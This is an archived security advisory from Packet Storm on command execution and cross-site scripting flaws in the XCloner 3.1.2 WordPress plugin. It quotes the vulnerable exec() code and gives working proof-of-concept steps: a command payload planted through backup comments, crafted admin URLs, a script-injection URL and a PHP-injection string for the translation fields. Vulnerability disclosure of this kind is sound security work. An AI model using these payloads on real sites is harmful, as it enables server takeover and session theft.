what you don't know can hurt you

WordPress XCloner 3.1.2 XSS / Command Execution

WordPress XCloner 3.1.2 XSS / Command Execution
Posted May 31, 2015
Authored by Larry W. Cashdollar

WordPress XCloner plugin version 3.1.2 suffers from command execution and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
advisories | CVE-2015-4336, CVE-2015-4337, CVE-2015-4338
MD5 | 5d0b053dd77486b7a90024b666ebdc48

WordPress XCloner 3.1.2 XSS / Command Execution

Change Mirror Download
Title: Xloner v3.1.2 wordpress plugin authenticated command execution and XSS
Author: Larry W. Cashdollar, @_larry0
Date: 2015-05-10
Download Site: https://wordpress.org/plugins/xclonerbackupandrestore/ http://extensions.joomla.org/extensions/accessasecurity/ sitesecurity/ backup/665
Vendor: Ovidiu Liuta, @thinkovi
Vendor Notified: 0000-00-00
Vendor Contact: @thinkovi
Description: XCloner is a Backup and Restore component designed for PHP/Mysql websites, it can work as a native plugin for WordPress and Joomla!
Vulnerability:
Lines 1129 of 1135 in cloner.functions.php

1129 $excluded_cmd = "";
1130 if ($fp = @fopen($_REQUEST['
1130 if ($fp = @fopen($_REQUEST['excl_manual'], "r")) {
1131 while (!feof($fp))
1132 $excluded_cmd .= fread($fp, 1024);
1133
1134 fclose($fp);
1135 }

Line 1205:
If configured for manual mode the contents of $excluded_cmd are passed to exec();
1205 exec($_CONFIG[tarpath] . " $excluded_cmd ". $_CONFIG['tarcompress'] ."vf $backup_file update $file");
We need to supply a file with a list of commands to execute in it, we can create this via the backup comments feature. It creates a file under administrator/backups/.comments with whatever you want in it. Like ;id>/tmp/w00t;

Then change the configuration to manual backup by selecting the radio button and perform a backup.
Hit this link:
http://www.vapidlabs.internal/wpadmin/plugins.php?page=xcloner_show&option=com_cloner&task=refresh&json=0&startf=300&lines=6204&backup=backup_20150511_
2028_sqlnodrop.tar&excl_manual=/usr/share/wordpress/administrator/backups/.comments

In a shell:
$ cat /tmp/w00t
uid=33(wwwdata)
gid=33(wwwdata)
groups=33(wwwdata)

Also $excluded_cmd is XSS

http://www.vapidlabs.internal/wpadmin/plugins.php?page=xcloner_show&option=com_cloner&task=refresh&json=0&startf=800&lines=6204&backup=backup_20150511_
2028_sqlnodrop.tar&excl_manual=’><script>alert(‘w00t’);</script>

Chrome XSS alert:

The XSS Auditor refused to execute a script in
'http://www.vapidlabs.internal/wpadmin/plugins.php?page=xcloner_show&option=com_…lnodrop.tar&excl_manual=%27%3E%3Cscript%3Ealert(%27w00t%27);%3C/script%3E' because
its source code was found within the request. The auditor was enabled as the server sent
neither an 'XXSSProtection' nor 'ContentSecurityPolicy' header.
plugins.php:403 The XSS Auditor refused to execute a script in
'http://www.vapidlabs.internal/wpadmin/plugins.php?page=xcloner_show&option=com_…lno
drop.tar&excl_manual=%27%3E%3Cscript%3Ealert(%27w00t%27);%3C/script%3E' because
its source code was found within the request. The auditor was enabled as the server sent
neither an 'XXSSProtection' nor 'ContentSecurityPolicy' header.

The default template has an error with the LM_LOGIN_TEXT field so just clean that out or you’ll get a syntax error when trying to execute.
Adding foo”);phpinfo();define(“foo to the Translation LM_FRONT_* fields then browsing to language/italian.php you’ll execute phpinfo();.

CVEID: TBD
OSVDB:TBD

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    34 Files
  • 2
    Jul 2nd
    15 Files
  • 3
    Jul 3rd
    9 Files
  • 4
    Jul 4th
    8 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    3 Files
  • 7
    Jul 7th
    1 Files
  • 8
    Jul 8th
    15 Files
  • 9
    Jul 9th
    15 Files
  • 10
    Jul 10th
    20 Files
  • 11
    Jul 11th
    17 Files
  • 12
    Jul 12th
    16 Files
  • 13
    Jul 13th
    2 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    20 Files
  • 16
    Jul 16th
    27 Files
  • 17
    Jul 17th
    7 Files
  • 18
    Jul 18th
    5 Files
  • 19
    Jul 19th
    12 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close